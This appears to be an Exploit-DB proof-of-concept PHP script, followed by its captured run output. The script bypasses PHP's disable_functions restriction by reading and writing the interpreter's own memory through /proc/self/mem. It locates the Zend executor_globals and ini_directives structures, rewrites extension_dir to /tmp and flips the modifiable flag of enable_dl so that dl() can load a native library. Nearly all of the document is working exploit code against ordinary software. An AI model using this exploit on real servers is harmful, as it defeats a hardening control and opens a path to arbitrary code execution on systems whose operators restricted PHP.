1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 |
<?php // EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zend_executor_globals-to-bypass-php-disable_functions.pdf error_reporting(0x66778899); set_time_limit(0x41424344); define('ZEND_INI_USER', (1<<0)); define('ZEND_INI_PERDIR', (1<<1)); define('ZEND_INI_SYSTEM', (1<<2)); /* 00df9000-00e16000 rw-p 00000000 00:00 0 017ff000-01a51000 rw-p 00000000 00:00 0[heap] error_reporting(0x66778899); typedef struct bucket { ulong h; /\* Used for numeric indexing *\/ uint nKeyLength; void *pData; void *pDataPtr; struct bucket *pListNext; struct bucket *pListLast; struct bucket *pNext; struct bucket *pLast; const char *arKey; } Bucket; typedef struct _hashtable { uint nTableSize; uint nTableMask; uint nNumOfElements; ulong nNextFreeElement; Bucket *pInternalPointer; /\* Used for element traversal *\/ Bucket *pListHead; Bucket *pListTail; Bucket **arBuckets; dtor_func_t pDestructor; //pointer zend_bool persistent; unsigned char nApplyCount; zend_bool bApplyProtection; #if ZEND_DEBUG int inconsistent; #endif } HashTable; struct _zend_executor_globals { zval **return_value_ptr_ptr; zval uninitialized_zval; zval *uninitialized_zval_ptr; zval error_zval; zval *error_zval_ptr; zend_ptr_stack arg_types_stack; /\* symbol table cache *\/ HashTable *symtable_cache[SYMTABLE_CACHE_SIZE]; HashTable **symtable_cache_limit; HashTable **symtable_cache_ptr; zend_op **opline_ptr; HashTable *active_symbol_table; HashTable symbol_table; /\* main symbol table *\/ HashTable included_files; /\* files already included *\/ JMP_BUF *bailout; int error_reporting; int orig_error_reporting; int exit_status; zend_op_array *active_op_array; HashTable *function_table; /\* function symbol table *\/ HashTable *class_table; /\* class table *\/ HashTable *zend_constants; /\* constants table *\/ zend_class_entry *scope; zend_class_entry *called_scope; /\* Scope of the calling class *\/ zval *This; long precision; int ticks_count; //10*8 zend_bool in_execution;//typedef unsigned char zend_bool; HashTable *in_autoload; zend_function *autoload_func; zend_bool full_tables_cleanup; /\* for extended information support *\/ zend_bool no_extensions; #ifdef ZEND_WIN32 zend_bool timed_out; OSVERSIONINFOEX windows_version_info; #endif HashTable regular_list; HashTable persistent_list; zend_vm_stack argument_stack; int user_error_handler_error_reporting; zval *user_error_handler; zval *user_exception_handler; zend_stack user_error_handlers_error_reporting; zend_ptr_stack user_error_handlers; zend_ptr_stack user_exception_handlers; zend_error_handling_terror_handling; zend_class_entry*exception_class; /\* timeout support *\/ int timeout_seconds; int lambda_count; HashTable *ini_directives; HashTable *modified_ini_directives; zend_ini_entry *error_reporting_ini_entry; zend_objects_store objects_store; zval *exception, *prev_exception; zend_op *opline_before_exception; zend_op exception_op[3]; struct _zend_execute_data *current_execute_data; struct _zend_module_entry *current_module; zend_property_info std_property_info; zend_bool active; zend_op *start_op; void *saved_fpu_cw_ptr; #if XPFPA_HAVE_CW XPFPA_CW_DATATYPE saved_fpu_cw; #endif void *reserved[ZEND_MAX_RESERVED_RESOURCES]; }; /* struct _zend_ini_entry { int module_number; int modifiable; char *name; uint name_length; ZEND_INI_MH((*on_modify)); void *mh_arg1; void *mh_arg2; void *mh_arg3; char *value; .... */ //echo file_get_contents("/proc/self/maps"); $mem = fopen("/proc/self/mem", "rb"); /* ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');" 00400000-00bf3000 r-xp 00000000 08:01 4997702/usr/bin/php5 00df3000-00e94000 r--p 007f3000 08:01 4997702/usr/bin/php5 00e94000-00ea1000 rw-p 00894000 08:01 4997702/usr/bin/php5 00ea1000-00ebe000 rw-p 00000000 00:00 0 0278f000-02a65000 rw-p 00000000 00:00 0[heap] */ //set the extension_dir fseek($mem, 0x00ea1000); for($i = 0;$i <0x00ebe000 - 0x00ea1000;$i += 4) { //echo 'x'; $num = unp(fread($mem, 4)); if($num == 0x66778899) { $offset = 0x00ea1000 + $i; printf("got noe, offset is:0x%x\r\n", $offset); printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788); fseek($mem, $offset); $num = unp(fread($mem, 4)); printf("The value is %x\r\n", $num); if($num == 0x55667788) { printf("I found the offset of executor_globals's member error_reporting\r\n"); printf("read the structure\r\n"); fseek($mem, $offset); fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4); if($timeout == 0x41424344) { error_reporting(E_ALL); //restore the error reporting printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4); $ini_dir = dump_value($mem, 8); printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets; $arBucket = dump_value($mem, 8); printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket); //try to get the first Bucket address for($i = 0;$i < 1000;$i ++) { $bucket = dump_value($mem, 8); //printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket $pdata = dump_value($mem, 8); dump_value($mem, 8); //printf("This pData address maybe in 0x%016x\r\n", $pdata); fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8); $name_t = dump_value($mem, 4); //printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t); fseek($mem, $name); $strname = fread($mem, $name_t); if(strlen($strname) == 0) break; //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'extension_dir', 13) == 0) { printf("I found the extension_dir offset!\r\n"); printf("try to set extension_dir value /tmp by ini_set\r\n"); ini_set('extension_dir', '/tmp'); printf("try to get extension_dir value by ini_get\r\n"); var_dump(ini_get('extension_dir')); // write string value fseek($mem, $pdata + 56); //seek to char* value; $value = dump_value($mem, 8); $value_t = dump_value($mem, 4); printf("This char value* address maybe in 0x%016x, length:%d\r\n", $value, $value_t); // write data part $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $value); fwrite($mem_w, "/tmp\0", 5); //write /tmp value printf("retry to get extension_dir value!!!!\r\n"); var_dump(ini_get('extension_dir')); error_reporting(0x66778899); break; } //seek to struct bucket *pListNext; ready to read next bucket's address fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;it's so strage! } } } else { printf("now here, restore the value\r\n"); error_reporting(0x66778899); } } } //set the enable_dl fseek($mem, 0x00ea1000); for($i = 0;$i <0x00ebe000 - 0x00ea1000;$i += 4) { $num = unp(fread($mem, 4)); if($num == 0x66778899) { $offset = 0x00ea1000 + $i; printf("got noe, offset is:0x%x\r\n", $offset); printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788); fseek($mem, $offset); $num = unp(fread($mem, 4)); printf("The value is %x\r\n", $num); if($num == 0x55667788) { printf("I found the offset of executor_globals's member error_reporting\r\n"); printf("read the structure\r\n"); fseek($mem, $offset); fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4); if($timeout == 0x41424344) { error_reporting(E_ALL); //restore the error reporting printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4); $ini_dir = dump_value($mem, 8); printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets; $arBucket = dump_value($mem, 8); printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket); //try to get the first Bucket address for($i = 0;$i < 1000;$i ++) { $bucket = dump_value($mem, 8); //printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket $pdata = dump_value($mem, 8); dump_value($mem, 8); //printf("This pData address maybe in 0x%016x\r\n", $pdata); fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8); $name_t = dump_value($mem, 4); //printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t); fseek($mem, $name); $strname = fread($mem, $name_t); if(strlen($strname) == 0) break; //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'enable_dl', 9) == 0) { printf("I found the enable_dl offset!\r\n"); printf("try to set enable_dl value true by ini_set\r\n"); ini_set('enable_dl', true); printf("try to get enable_dl value by ini_get\r\n"); var_dump(ini_get('enable_dl')); printf("try to run dl() function\r\n"); dl('not_exists'); printf("try to modifiy the modifiable member in memory!\r\n"); fseek($mem, $pdata + 4); $modifiable = dump_value($mem, 4); printf("org modifiable value is %x\r\n", $modifiable); $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7)); //check fseek($mem, $pdata + 4); $modifiable = dump_value($mem, 4); printf("now modifiable value is %x\r\n", $modifiable); printf("try ini_set enable_dl agen!!!!\r\n"); ini_set('enable_dl', true); printf("now enable_dl seting is\r\n"); var_dump(ini_get('enable_dl')); printf("retry the dl() function!!!!\r\n"); ini_set('extension_dir', '/tmp'); dl('not_exists'); exit(0); } //seek to struct bucket *pListNext; ready to read next bucket's address fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;it's so strage! } } } else { printf("now here, restore the value\r\n"); error_reporting(0x66778899); } } } function unp($value) { return hexdec(bin2hex(strrev($value))); } function dump_value($dh, $flag) { switch($flag) { case 4: return unp(fread($dh, 4)); case 8: return unp(fread($dh, 8)); } } function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function packli($value) { return pack('V', $value); } /* ylbhz@ylbhz-Aspire-5750G:/tmp$ php php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php got noe, offset is:0xebd180 Now set error_reporting to 0x55667788 and reread the value The value is 55667788 I found the offset of executor_globals's member error_reporting read the structure I found the timeout_seconds I seted:0x41424344 ini_directives address maybe in 0x00000000024983c0 Bucket **arBuckets address maybe in 0x00000000026171e0 I found the extension_dir offset! try to set extension_dir value /tmp by ini_set try to get extension_dir value by ini_get string(22) "/usr/lib/php5/20121212" This char value* address maybe in 0x0000000000b5ea53, length:22 retry to get extension_dir value!!!! string(4) "/tmp" got noe, offset is:0xebd180 Now set error_reporting to 0x55667788 and reread the value The value is 55667788 I found the offset of executor_globals's member error_reporting read the structure I found the timeout_seconds I seted:0x41424344 ini_directives address maybe in 0x00000000024983c0 Bucket **arBuckets address maybe in 0x00000000026171e0 I found the enable_dl offset! try to set enable_dl value true by ini_set try to get enable_dl value by ini_get string(0) "" try to run dl() function PHP Warning:dl(): Dynamically loaded extensions aren't enabled in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326 try to modifiy the modifiable member in memory! org modifiable value is 4 now modifiable value is 7 try ini_set enable_dl agen!!!! now enable_dl seting is string(1) "1" retry the dl() function!!!! PHP Warning:dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 345 ylbhz@ylbhz-Aspire-5750G:/tmp$ ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux */ ?> |